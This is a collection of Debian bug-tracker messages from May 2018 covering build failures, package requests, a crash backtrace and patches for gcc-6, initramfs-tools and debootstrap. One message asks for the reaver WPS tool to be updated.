  [GCC 7.3.0] on linux
  Type "help", "copyright", "credits" or "license" for more information.
  >>> import yaml
  >>> print(yaml.load('---\nfoo: bar "foobar #"')['foo'])
  bar "foobar

-- 
Niko Tyni   nt...@debian.org



Bug#898898: xen: FTBFS on armhf and arm64 (for DSA-4201-1)

2018-05-17 Thread Salvatore Bonaccorso
Source: xen
Version: 4.8.3+xsa262+shim4.10.0+comet3-1+deb9u6
Severity: serious
Justification: FTBFS
Control: affects -1 + security.debian.org
Control: affects -1 + release.debian.org

Hi

xen for the last security upload for DSA-4201-1 FTBFS on armhf and
arm64.

Attached the builds logs.

Regards,
Salvatore


xen_4.8.3+xsa262+shim4.10.0+comet3-1+deb9u6_armhf-2018-05-10T17:08:27Z.gz
Description: application/gzip


xen_4.8.3+xsa262+shim4.10.0+comet3-1+deb9u6_arm64-2018-05-10T16:49:15Z.gz
Description: application/gzip


Bug#898899: please update to t6x fork featuring Pixie Dust attack

2018-05-17 Thread Dmitry Eremin-Solenikov
Package: reaver
Version: 1.4-2+b2
Severity: normal

Please update reaver to t6x fork (releases 1.6.x), which features
PixieDust attack: https://github.com/t6x/reaver-wps-fork-t6x/releases

Thank you

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.utf8, LC_CTYPE=en_GB.utf8 (charmap=UTF-8), LANGUAGE=en_GB:en 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages reaver depends on:
ii  libc6 2.27-3
ii  libpcap0.81.8.1-6
ii  libsqlite3-0  3.23.1-1

reaver recommends no packages.

reaver suggests no packages.

-- no debconf information



Bug#898900: ITP: libnet-oauth2-authorizationserver-perl -- Easier implementation of an OAuth2 Authorization Server

2018-05-17 Thread Mirko Tietgen
Package: wnpp
Severity: wishlist
Owner: Mirko Tietgen 

* Package name: libnet-oauth2-authorizationserver-perl
  Version : 0.17
  Upstream Author : Lee Johnson 
* URL : https://metacpan.org/release/Net-OAuth2-AuthorizationServer
* License : Artistic or GPL v1+
  Programming Lang: Perl
  Description : Easier implementation of an OAuth2 Authorization Server

Net::OAuth2::AuthorizationServer is the gateway to the various OAuth2 grant
flows, as documented at https://tools.ietf.org/html/rfc6749. Each module
implements a specific grant flow and is designed to "just work" with minimal
detail and effort.

The package will be maintained under the umbrella of the Debian Perl Group.



Bug#897536: mustache.js: FTBFS: make[1]: rake: Command not found

2018-05-17 Thread Lucas Nussbaum
On 17/05/18 at 10:17 +0200, Pierre-Elliott Bécue wrote:
> Le 17 mai 2018 10:14:41 GMT+02:00, "Martín Ferrari"  a 
> écrit :
> >severity 897536 important
> >thanks
> >
> >On Mon, 14 May 2018 00:30:36 +0200 Pierre-Elliott
> >=?iso-8859-1?Q?B=E9cue?=  wrote:
> >
> >> Indeed the rake issue is gone with the latest upload of rake.
> >> 
> >> Yet, [1] shows that mustache.js still FTBFS.
> >
> >> [1]
> >https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mustache.js.html
> >
> >While we should fix this, I don't think this counts as a serious bug.
> >The tests fail sometimes (probably on a busy server), but that's it.
> >
> >I think the severity of this bug should be lowered, as this is
> >threatening to remove from testing mustache.js and its reverse
> >dependencies.
> 
> I have no issue with this decision.

Same here. But it's strange: given my workflow, I think that the build
was retried on a idle server after the initial failure.

Lucas



Bug#898901: gcc-6: FTBFS on hurd-i386

2018-05-17 Thread Svante Signell
Source: gcc-6
Version: 6.4.0-17
Severity: important
Tags: patch
User: debian-h...@lists.debian.org
Usertags: hurd

Hi,

gcc-6 has been FTBFS since 6.4.0-12 on GNU/Hurd due to an outdated patch for
gccgo, caused by the upgrade of glibc from 2.25 to 2.26+

Attached is an updated patch: src_libgo_mksysinfo.sh.diff to enable gccgo to
build properly on gcc-6 again.

Running tests for libgo gives:

=== libgo Summary ===

# of expected passes119
# of unexpected failures15

Thanks!Index: gcc-6-6.4.0-17.1/src/libgo/mksysinfo.sh
===
--- gcc-6-6.4.0-17.1.orig/src/libgo/mksysinfo.sh
+++ gcc-6-6.4.0-17.1/src/libgo/mksysinfo.sh
@@ -301,8 +301,20 @@ grep -v '^// ' gen-sysinfo.go | \
 
 # The errno constants.  These get type Errno.
 echo '#include ' | ${CC} -x c - -E -dM | \
-  egrep '#define E[A-Z0-9_]+ ' | \
-  sed -e 's/^#define \(E[A-Z0-9_]*\) .*$/const \1 = Errno(_\1)/' >> ${OUT}
+  egrep '#define E[A-Z0-9_]+ [0-9]' | \
+sed -e 's/^#define \(E[A-Z0-9_]*\) .*$/const \1 = Errno(_\1)/' >> ${OUT}
+# Workaround for GNU/Hurd _EMIG_* errors having negative values
+echo '#include ' | ${CC} -x c - -E -dM | \
+  egrep '#define E[A-Z0-9_]+ -[0-9]' | \
+sed -e 's/^#define \(E[A-Z0-9_]*\) .*$/const \1 = Errno(-_\1)/' >> ${OUT}
+
+# Special treatment of EWOULDBLOCK for GNU/Hurd
+# /usr/include/bits/errno.h: #define EWOULDBLOCK EAGAIN
+if egrep '^const _EWOULDBLOCK = _EAGAIN' gen-sysinfo.go > /dev/null 2>&1; then
+  if egrep '^const EAGAIN = Errno\(_EAGAIN\)' ${OUT}; then
+  echo 'const EWOULDBLOCK = Errno(_EAGAIN)' >> ${OUT}
+  fi
+fi
 
 # The O_xxx flags.
 egrep '^const _(O|F|FD)_' gen-sysinfo.go | \
@@ -362,6 +374,11 @@ grep '^const _SYS_' gen-sysinfo.go | \
 echo "const $sup = _$sys" >> ${OUT}
   done
 
+# Special treatment of SYS_IOCTL for GNU/Hurd
+if ! grep '^const SYS_IOCTL' ${OUT} > /dev/null 2>&1; then
+  echo "const SYS_IOCTL = 0" >> ${OUT}
+fi
+
 # The GNU/Linux support wants to use SYS_GETDENTS64 if available.
 if ! grep '^const SYS_GETDENTS ' ${OUT} >/dev/null 2>&1; then
   echo "const SYS_GETDENTS = 0" >> ${OUT}
@@ -676,6 +693,11 @@ grep '^type _tms ' gen-sysinfo.go | \
 
 # The stat type.
 # Prefer largefile variant if available.
+# Special treatment of st_dev for GNU/Hurd
+# /usr/include/i386-gnu/bits/stat.h: #define st_dev st_fsid
+if grep 'define st_dev st_fsid' gen-sysinfo.go > /dev/null 2>&1; then
+  sed -i -e 's/; st_fsid/; st_dev/' gen-sysinfo.go
+fi
 stat=`grep '^type _stat64 ' gen-sysinfo.go || true`
 if test "$stat" != ""; then
   grep '^type _stat64 ' gen-sysinfo.go


Bug#898902: libgpars-groovy-java: FTBFS with Java 10 due to javadoc issue

2018-05-17 Thread Emmanuel Bourg
Source: libgpars-groovy-java
Severity: serious
Tags: sid buster
User: debian-j...@lists.debian.org
Usertags: default-java10

libgpars-groovy-java fails to build with Java 10 due to a javadoc issue:

  Starting process 'command '/usr/lib/jvm/java-10-openjdk-amd64/bin/javadoc''. 
Working directory: /build/1st/libgpars-groovy-java-1.2.1 Command: 
/usr/lib/jvm/java-10-openjdk-amd64/bin/javadoc 
@/build/1st/libgpars-groovy-java-1.2.1/build/tmp/javadoc/javadoc.options
  Successfully started process 'command 
'/usr/lib/jvm/java-10-openjdk-amd64/bin/javadoc''
  javadoc: error - Error fetching URL: file:/usr/share/doc/default-jdk/api/
  javadoc: warning - You have not specified the version of HTML to use.
  The default is currently HTML 4.01, but this will change to HTML5
  in a future release. To suppress this warning, please specify the
  version of HTML used in your documentation comments and to be
  generated by this doclet, using the -html4 or -html5 options.
  1 error
  1 warning



Bug#898553: grub-legacy 0.97-73 segfaults

2018-05-17 Thread Eugene Berdnikov
On Sun, May 13, 2018 at 04:31:10PM +0300, Eugene B. Berdnikov wrote:
> Package: grub-legacy
> Version: 0.97-73
> Severity: important
> Justification: critical
> 
>  In grub-legacy 0.97-73 binary /usr/sbin/grub segfaults on start.
>  Binary from 0.97-72 works as expected.

 Segfaults are on amd64 and i386 platforms, and also in 0.97-72+b1.
 Downgrade to grub-legacy 0.97-72 resolves the problem.
-- 
 Eugene Berdnikov



Bug#854902:

2018-05-17 Thread Ritesh Raj Sarraf
On Tue, 2018-05-15 at 05:55 -0700, Scarlett Clark wrote:
> What is the status on this packaging?

IIRC, There were some dependencies that appimage was embedding. We (Me
and AppImage Lead) worked on getting some of it worked out. There were
some local patches for foreign submodules, I think we pushed them
upstream.

Then, there was a fuse archive project. I don't recollect the name now.
That was needed to be packaged for Debian.

Then, there were some major issues with the way upstream had defined
the build. That is where I left off last.

> I can work on it, if you have stopped.

Please do so. Because since then, a lot has changed for me and I don't
really have the time now (and in the near future) to work on it.

Thanks,
Ritesh

-- 
Ritesh Raj Sarraf | http://people.debian.org/~rrs
Debian - The Universal Operating System

signature.asc
Description: This is a digitally signed message part


Bug#862013: initramfs-tools-core: /run tmpfs size hardcoded at 10% RAM, but 16.0 MiB free required in /run/systemd

2018-05-17 Thread Benjamin Drung
Hi,

Using 10% of RAM for /run is a good default, but not suitable for all
systems. 10% might be too small for system with less memory (e.g.
virtual machine with 160 MiB RAM) or too big (VM host with 256/512 GiB
RAM). A too small /run partition leads to not enough space on it. If
the
/run partition is huge, systemd's journald will consume lot of memory,
because it defaults to using at most 15% of the respective file system
of /run/log/journal.

Adjusting the size of /run via an entry in /etc/fstab is not sufficient
since journald calculates it limits before systemd remounts /run with
the small size. Therefore journald could occupy the full /run partition
with its logs.

Allow specifying the size of /run by adding a RUNSIZE configuration
variable and a ramsize= boot argument. Mounting /run must be done after
reading the configuration.

A tested patch is attached and I created a merge proposal:
https://salsa.debian.org/kernel-team/initramfs-tools/merge_requests/2

-- 
Benjamin Drung
System Developer
Debian & Ubuntu Developer

ProfitBricks GmbH
Greifswalder Str. 207
10405 Berlin

Email: benjamin.dr...@profitbricks.com
URL: https://www.profitbricks.de

Sitz der Gesellschaft: Berlin
Registergericht: Amtsgericht Charlottenburg, HRB 125506 B
Geschäftsführer: Achim Weiss, Matthias Steinberg, Christoph SteffensFrom 6569b72cad0145843b55022fa6bc9e00a75a6d79 Mon Sep 17 00:00:00 2001
From: Benjamin Drung 
Date: Tue, 15 May 2018 12:12:56 +0200
Subject: [PATCH] Make size of /run configurable

Using 10% of RAM for /run is a good default, but not suitable for all
systems. 10% might be too small for system with less memory (e.g.
virtual machine with 160 MiB RAM) or too big (VM host with 256/512 GiB
RAM). A too small /run partition leads to not enough space on it. If the
/run partition is huge, systemd's journald will consume lot of memory,
because it defaults to using at most 15% of the respective file system
of /run/log/journal.

Adjusting the size of /run via an entry in /etc/fstab is not sufficient
since journald calculates it limits before systemd remounts /run with
the small size. Therefore journald could occupy the full /run partition
with its logs.

Allow specifying the size of /run by adding a RUNSIZE configuration
variable and a ramsize= boot argument. Mounting /run must be done after
reading the configuration.

Closes: #862013
Signed-off-by: Benjamin Drung 
---
 conf/initramfs.conf | 11 +++
 init| 19 ++-
 initramfs-tools.8   |  7 +++
 3 files changed, 32 insertions(+), 5 deletions(-)

diff --git a/conf/initramfs.conf b/conf/initramfs.conf
index f0f5071..da862bc 100644
--- a/conf/initramfs.conf
+++ b/conf/initramfs.conf
@@ -62,3 +62,14 @@ DEVICE=
 
 NFSROOT=auto
 
+#
+# RUNSIZE: ...
+#
+# The size of the /run mount point in bytes, and rounded up to entire pages.
+# This option accepts a suffix % to limit the instance to that percentage of
+# your physical RAM or a suffix k, m or g for Ki, Mi, Gi (binary kilo (kibi),
+# binary mega (mebi) and binary giga (gibi)).
+# Overridden by optional ramsize= bootarg
+#
+
+RUNSIZE=10%
diff --git a/init b/init
index 8a40b42..aa2fae6 100755
--- a/init
+++ b/init
@@ -33,8 +33,6 @@ export quiet
 mount -t devtmpfs -o nosuid,mode=0755 udev /dev
 mkdir /dev/pts
 mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
-mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run
-mkdir -m 0755 /run/initramfs
 
 # Export the dpkg architecture
 export DPKG_ARCH=
@@ -101,6 +99,9 @@ for x in $(cat /proc/cmdline); do
 			;;
 		esac
 		;;
+	runsize=*)
+		RUNSIZE="${x#runsize=}"
+		;;
 	nfsroot=*)
 		NFSROOT="${x#nfsroot=}"
 		;;
@@ -147,9 +148,9 @@ for x in $(cat /proc/cmdline); do
 		debug=y
 		quiet=n
 		if [ -n "${netconsole}" ]; then
-			exec >/dev/kmsg 2>&1
+			log_output=/dev/kmsg
 		else
-			exec >/run/initramfs/initramfs.debug 2>&1
+			log_output=/run/initramfs/initramfs.debug
 		fi
 		set -x
 		;;
@@ -169,7 +170,7 @@ for x in $(cat /proc/cmdline); do
 		;;
 	netconsole=*)
 		netconsole=${x#netconsole=}
-		[ "x$debug" = "xy" ] && exec >/dev/kmsg 2>&1
+		[ "x$debug" = "xy" ] && log_output=/dev/kmsg
 		;;
 	BOOTIF=*)
 		BOOTIF=${x#BOOTIF=}
@@ -201,6 +202,14 @@ else
 	resume=${RESUME:-}
 fi
 
+mount -t tmpfs -o "noexec,nosuid,size=${RUNSIZE:-10%},mode=0755" tmpfs /run
+mkdir -m 0755 /run/initramfs
+
+if [ -n "$log_output" ]; then
+	exec >$log_output 2>&1
+	unset log_output
+fi
+
 maybe_break top
 
 # Don't do log messages here to avoid confusing graphical boots
diff --git a/initramfs-tools.8 b/initramfs-tools.8
index 0eee050..61a2fcb 100644
--- a/initramfs-tools.8
+++ b/initramfs-tools.8
@@ -88,6 +88,13 @@ mounts the rootfs read-only.
 \fB\fI rw
 mounts the rootfs read-write.
 
+.TP
+\fB\fI ramsize
+The size of the /run mount point in bytes, and rounded up to entire pages.
+This option accepts a suffix % to limit the instance to that percentage of
+your physical RAM or a suffix k, m or g for Ki, Mi, Gi (binary kilo (kibi),

Bug#898301: ITP: openjazz -- a free, open-source version of the classic Jazz Jackrabbit™ games

2018-05-17 Thread Fabian Greffrath
Simon McVittie wrote:
> g-d-p patches welcome! Hopefully this should be a relatively simple game
> to package due to its age.

Probably a stupid question, but since GOG provides a package for Windows
and one for Linux (in general), which one do we use for g-d-p?

 - Fabian



Bug#898903: libnative-platform-java: FTBFS with Java 10 due to javah removal

2018-05-17 Thread Emmanuel Bourg
Package: libnative-platform-java
Version: 0.14-3
Severity: serious
Tags: sid buster
User: debian-j...@lists.debian.org
Usertags: default-java10

libnative-platform-java fails to build with Java 10 due to the removal of javah:

  javac -source 1.7 -target 1.7 -encoding UTF-8 -d debian/out/classes 
src/main/java/net/rubygrapefruit/platform/package-info.java 
src/main/java/net/rubygrapefruit/platform/internal/Platform.java 
src/main/java/net/rubygrapefruit/platform/internal/NativeLibraryLocator.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/WindowsRegistryFunctions.java
 
src/main/java/net/rubygrapefruit/platform/internal/jni/WindowsHandleFunctions.java
 
src/main/java/net/rubygrapefruit/platform/internal/jni/WindowsFileFunctions.java
 
src/main/java/net/rubygrapefruit/platform/internal/jni/WindowsConsoleFunctions.java
 src/main/java/net/rubygrapefruit/platform/internal/jni/TerminfoFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/PosixTypeFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/PosixTerminalFunctions.java
 
src/main/java/net/rubygrapefruit/platform/internal/jni/PosixProcessFunctions.java
 
src/main/java/net/rubygrapefruit/platform/internal/jni/PosixFileSystemFunctions.java
 src/main/java/net/rubygrapefruit/platform/internal/jni/PosixFileFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/OsxMemoryFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/NativeLibraryFunctions.java
 src/main/java/net/rubygrapefruit/platform/internal/jni/MemoryFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/jni/FileEventFunctions.java 
src/main/java/net/rubygrapefruit/platform/internal/WrapperTerminal.java 
src/main/java/net/rubygrapefruit/platform/internal/WrapperProcessLauncher.java 
src/main/java/net/rubygrapefruit/platform/internal/WrapperProcess.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsTerminals.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsTerminal.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsProcessLauncher.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsFileTime.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsFileStat.java 
src/main/java/net/rubygrapefruit/platform/internal/WindowsDirList.java 
src/main/java/net/rubygrapefruit/platform/internal/TerminfoTerminals.java 
src/main/java/net/rubygrapefruit/platform/internal/TerminfoTerminal.java 
src/main/java/net/rubygrapefruit/platform/internal/TerminalCapabilities.java 
src/main/java/net/rubygrapefruit/platform/internal/PosixFileSystems.java 
src/main/java/net/rubygrapefruit/platform/internal/NativeLibraryLoader.java 
src/main/java/net/rubygrapefruit/platform/internal/MutableTypeInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/MutableTerminalSize.java 
src/main/java/net/rubygrapefruit/platform/internal/MutableSystemInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/LibraryDef.java 
src/main/java/net/rubygrapefruit/platform/internal/FunctionResult.java 
src/main/java/net/rubygrapefruit/platform/internal/FileSystemList.java 
src/main/java/net/rubygrapefruit/platform/internal/FileStat.java 
src/main/java/net/rubygrapefruit/platform/internal/DirList.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultWindowsRegistry.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultWindowsFiles.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultSystemInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultProcessLauncher.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultProcess.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultPosixFiles.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultOsxMemoryInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultOsxMemory.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultMemoryInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultMemory.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultFileSystemInfo.java 
src/main/java/net/rubygrapefruit/platform/internal/DefaultFileEvents.java 
src/main/java/net/rubygrapefruit/platform/internal/AnsiTerminal.java 
src/main/java/net/rubygrapefruit/platform/internal/AbstractTerminals.java 
src/main/java/net/rubygrapefruit/platform/internal/AbstractTerminal.java 
src/main/java/net/rubygrapefruit/platform/internal/AbstractFiles.java 
src/main/java/net/rubygrapefruit/platform/WindowsRegistry.java 
src/main/java/net/rubygrapefruit/platform/WindowsFiles.java 
src/main/java/net/rubygrapefruit/platform/WindowsFileInfo.java 
src/main/java/net/rubygrapefruit/platform/ThreadSafe.java 
src/main/java/net/rubygrapefruit/platform/Terminals.java 
src/main/java/net/rubygrapefruit/platform/TerminalSize.java 
src/main/java/net/rubygrapefruit/platform/Terminal.java 
src/main/java/net/rubygrapefruit/platform/SystemInfo.java 
src/main/java/net/rubygrapefruit/platform

Bug#839046: [PATCH] Enable merged-/usr by default again now that dpkg-shlibdeps is fixed (Closes: #839046)

2018-05-17 Thread Laurent Bigonville
---
 debian/changelog | 7 ++-
 debootstrap  | 4 ++--
 debootstrap.8| 2 +-
 3 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/debian/changelog b/debian/changelog
index 3463794..48c0cfd 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -1,9 +1,14 @@
 debootstrap (1.0.100) UNRELEASED; urgency=medium
 
+  [ Hideki Yamane ]
   * Specify https mirror to check https mirror specific problem
 (See #896071)
 
- -- Hideki Yamane   Thu, 17 May 2018 17:48:55 +0900
+  [ Laurent Bigonville ]
+  * Enable merged-/usr by default again now that dpkg-shlibdeps is fixed
+(Closes: #839046)
+
+ -- Laurent Bigonville   Thu, 17 May 2018 11:05:13 +0200
 
 debootstrap (1.0.99) unstable; urgency=medium
 
diff --git a/debootstrap b/debootstrap
index 6d8b3f4..dcc155e 100755
--- a/debootstrap
+++ b/debootstrap
@@ -27,7 +27,7 @@ KEYRING=""
 DISABLE_KEYRING=""
 FORCE_KEYRING=""
 VARIANT=""
-MERGED_USR="no"
+MERGED_USR="yes"
 ARCH=""
 HOST_ARCH=""
 HOST_OS=""
@@ -102,7 +102,7 @@ usage()
   --variant=Xuse variant X of the bootstrap scripts
  (currently supported variants: buildd, fakechroot,
   minbase)
-  --merged-usr   make /{bin,sbin,lib}/ symlinks to /usr/
+  --no-merged-usrdo not make /{bin,sbin,lib}/ symlinks to /usr/
   --keyring=Kcheck Release files against keyring K
   --no-check-gpg avoid checking Release file signatures
   --force-check-gpg  force checking Release file signatures
diff --git a/debootstrap.8 b/debootstrap.8
index 426a90b..dc1d17a 100644
--- a/debootstrap.8
+++ b/debootstrap.8
@@ -82,10 +82,10 @@ base Debian installation with all packages of priority 
\fIrequired\fR and
 .IP
 .IP "\fB\-\-merged-usr\fP"
 Create /{bin,sbin,lib}/ symlinks pointing to their counterparts in /usr/.
+(Default.)
 .IP
 .IP "\fB\-\-no-merged-usr\fP"
 Do not create /{bin,sbin,lib}/ symlinks pointing to their counterparts in 
/usr/.
-(Default.)
 .IP
 .IP "\fB\-\-keyring=KEYRING\fP"
 Override the default keyring for the distribution being bootstrapped,
-- 
2.17.0



Bug#893685: Segfault after higher number of connections

2018-05-17 Thread William MARTIN
Package: siege
Version: 4.0.2-1.1+b1
Followup-For: Bug #893685

Dear Maintainer,

I know you love backtrace !

Best regards,

$ siege -u https://192.168.2.43/bundle/ui.css -d1 -r10 -c16
siege: invalid option -- 'u'
[alert] Zip encoding disabled; siege requires zlib support to enable it
siege: invalid option -- 'u'
** SIEGE 4.0.2
** Preparing 16 concurrent users for battle.
The server is now under siege...
Transactions:160 hits
Availability: 100.00 %
Elapsed time:   8.99 secs
Data transferred:  28.28 MB
Response time:  0.08 secs
Transaction rate:  17.80 trans/sec
Throughput: 3.15 MB/sec
Concurrency:1.45
Successful transactions: 160
Failed transactions:   0
Longest transaction:0.22
Shortest transaction:   0.01

*** Error in `siege': munmap_chunk(): invalid pointer: 0x56541133c490 ***
=== Backtrace: =
/lib/x86_64-linux-gnu/libc.so.6(+0x70bfb)[0x7f94c2053bfb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76fc6)[0x7f94c2059fc6]
/usr/lib/x86_64-linux-
gnu/libcrypto.so.1.1(OPENSSL_sk_free+0x1e)[0x7f94c253fa1e]
/usr/lib/x86_64-linux-gnu/libssl.so.1.1(+0x2cb29)[0x7f94c2841b29]
/usr/lib/x86_64-linux-
gnu/libcrypto.so.1.1(OPENSSL_cleanup+0x52)[0x7f94c24ea242]
/lib/x86_64-linux-gnu/libc.so.6(+0x35940)[0x7f94c2018940]
/lib/x86_64-linux-gnu/libc.so.6(+0x3599a)[0x7f94c201899a]
siege(+0x651f)[0x56540f47151f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f94c20032e1]
siege(+0x682a)[0x56540f47182a]
=== Memory map: 
56540f46b000-56540f491000 r-xp  08:02 1460877
/usr/bin/siege
56540f691000-56540f693000 r--p 00026000 08:02 1460877
/usr/bin/siege
56540f693000-56540f694000 rw-p 00028000 08:02 1460877
/usr/bin/siege
56540f694000-56540f695000 rw-p  00:00 0
565411337000-565411389000 rw-p  00:00 0  [heap]
7f947800-7f9478074000 rw-p  00:00 0
7f9478074000-7f947c00 ---p  00:00 0
7f947c00-7f947c074000 rw-p  00:00 0
7f947c074000-7f948000 ---p  00:00 0
7f948000-7f9480074000 rw-p  00:00 0
7f9480074000-7f948400 ---p  00:00 0
7f948400-7f9484074000 rw-p  00:00 0
7f9484074000-7f948800 ---p  00:00 0
7f948800-7f9488074000 rw-p  00:00 0
7f9488074000-7f948c00 ---p  00:00 0
7f948c00-7f948c074000 rw-p  00:00 0
7f948c074000-7f949000 ---p  00:00 0
7f949000-7f9490074000 rw-p  00:00 0
7f9490074000-7f949400 ---p  00:00 0
7f949400-7f9494074000 rw-p  00:00 0
7f9494074000-7f949800 ---p  00:00 0
7f949800-7f9498074000 rw-p  00:00 0
7f9498074000-7f949c00 ---p  00:00 0
7f949c00-7f949c074000 rw-p  00:00 0
7f949c074000-7f94a000 ---p  00:00 0
7f94a000-7f94a006e000 rw-p  00:00 0
7f94a006e000-7f94a400 ---p  00:00 0
7f94a400-7f94a4074000 rw-p  00:00 0
7f94a4074000-7f94a800 ---p  00:00 0
7f94a800-7f94a8074000 rw-p  00:00 0
7f94a8074000-7f94ac00 ---p  00:00 0
7f94ac00-7f94ac074000 rw-p  00:00 0
7f94ac074000-7f94b000 ---p  00:00 0
7f94b000-7f94b0074000 rw-p  00:00 0
7f94b0074000-7f94b400 ---p  00:00 0
7f94b400-7f94b4074000 rw-p  00:00 0
7f94b4074000-7f94b800 ---p  00:00 0
7f94b944f000-7f94b9465000 r-xp  08:02 262123
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f94b9465000-7f94b9664000 ---p 00016000 08:02 262123
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f94b9664000-7f94b9665000 r--p 00015000 08:02 262123
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f94b9665000-7f94b9666000 rw-p 00016000 08:02 262123
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f94b97d2000-7f94b97d3000 ---p  00:00 0
7f94b97d3000-7f94b9fd3000 rw-p  00:00 0
7f94b9fd3000-7f94b9fd4000 ---p  00:00 0
7f94b9fd4000-7f94ba7d4000 rw-p  00:00 0
7f94ba7d4000-7f94ba7d5000 ---p  00:00 0
7f94ba7d5000-7f94bafd5000 rw-p  00:00 0
7f94bafd5000-7f94bafd6000 ---p  00:00 0
7f94bafd6000-7f94bb7d6000 rw-p  00:00 0
7f94bb7d6000-7f94bb7d7000 ---p  00:00 0
7f94bb7d7000-7f94bbfd7000 rw-p  00:00 0
7f94c1fe3000-7f94c2178000 r-xp  08:02 264461
/lib/x86_64-linux-gnu/libc-2.24.so
7f94c2178000-7f94c2378000 ---p 00195000 08:02 264461
/lib/x86_64-linux-gnu/libc-2.24.so
7f94c2378000-7f94c237c000 r--p 00195000 08:02 264461
/lib/x86_64-linux-gnu/libc-2.24.so
7f94c237c000-7f94c237e000 rw-p 00199000 08:02 264461
/lib/x86_64-linux-gnu/libc-2.24.so
7f94c237e000-7f94c2382000 rw-p  00:00 0
7f94c2382000-7f94c25e7000 r-xp  08:02 1442287
/usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7f94c25e7000-7f94c27e6000 ---p 00265000 08:02 1442287
/usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
7f94c27e6000-7f94c2804000 r--p 00264000 08:02 1442287
/usr/lib/x86_64-linux

Bug#898904: ITP: ratchet-rfc6455 -- Implementation of the WebSocket protocol for ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: ratchet-rfc6455
  Version : 0.2.4
  Upstream Author : Chris Boden
* URL : https://github.com/ratchetphp/RFC6455
* License : MIT
  Programming Lang: PHP
  Description : Implementation of the WebSocket protocol for PHP Ratchet

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9Uf8xGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTyliRbEACMk367
6I6NNwYbRB6KcxSfPFA3F5Z970K3XZzoaR4aX3daV93OpMT1EXG4CkboAlh+bgmU
rUAv9GZdWseIU0jbr9wjtlxK9F8/+jh84B6rpfFbAOd1JkY4Vf6HV9SHz36HSclB
uVGzIKKmW28C5VZOx22cnkbq6bQMDBJGWbkXCq9uf02zjQcX3tB3KAyaV685XUu2
To2wN4XtXLkgZ+qyK4YtrgIzNNUN61XszSNMVo0eqc5MDS/i1jmdcn4eCEmjDaS4
SXJgJS1Jsj2elWqi/Pe/gUyX6zjVJbCh8AkSkM3o57yofrrx9Gill7zWxePVSaU5
g3ijw8bZVN9TeFKtCIZWaBwejjfSiAsI65OCm5/grbVXogWRLLokNGhimgDMQQJ6
lWaJ6zW9awz3L15pZ7P+Ydso0Q17zSviVKpj+QD7NoC6910eTNP3ouEEpcSi8T3h
89ibL5yiM3VbGPxuweOBiRn+sC9s8fbQecrIG5DJ5R8yYL/SREqkD14C6zMbCRHF
VziZBazhzInW1nTUbx79P06U+X4VxVnXdhZZH4VtCx7439IxFz3OEhT9XDKUpFI4
6DppZL65i6k9tPFpEzcZF/UJzy98XqUNQkLVVzFMxw8K8HV477OwlS/WW4sRpanh
wLfg8G4KrowI0/a0ZujZhgrZQsOXBG6C0P1INQ==
=erCW
-END PGP SIGNATURE-



Bug#898905: libemail-mime-perl: [doc] manpage refers to, but doesn't contain header_raw method (along with plenty of others from Email::Simple)

2018-05-17 Thread Peter Gervai
Package: libemail-mime-perl
Version: 1.946-1
Severity: minor

I am a bit confused reading the man of both Email::Simple and Email::MIME, 
since they're
similar (looks like they were planned to be implemented as exchangeable) but not
matching.

Particularly some references seem to refer from one to the other:
   header
   Achtung!  Beware this method!  In Email::MIME, it means the same as 
"header_str", but on an Email::Simple object, it means
   "header_raw".  Unless you always know what kind of object you have, you 
could get one of two significantly different behaviors.

   Try to use either "header_str" or "header_raw" as appropriate.

   header_str_pairs
 my @pairs = $email->header_str_pairs;

   This method behaves like "header_raw_pairs", returning a list of field 
name/value pairs, but the values have been decoded to
   character strings, when possible.


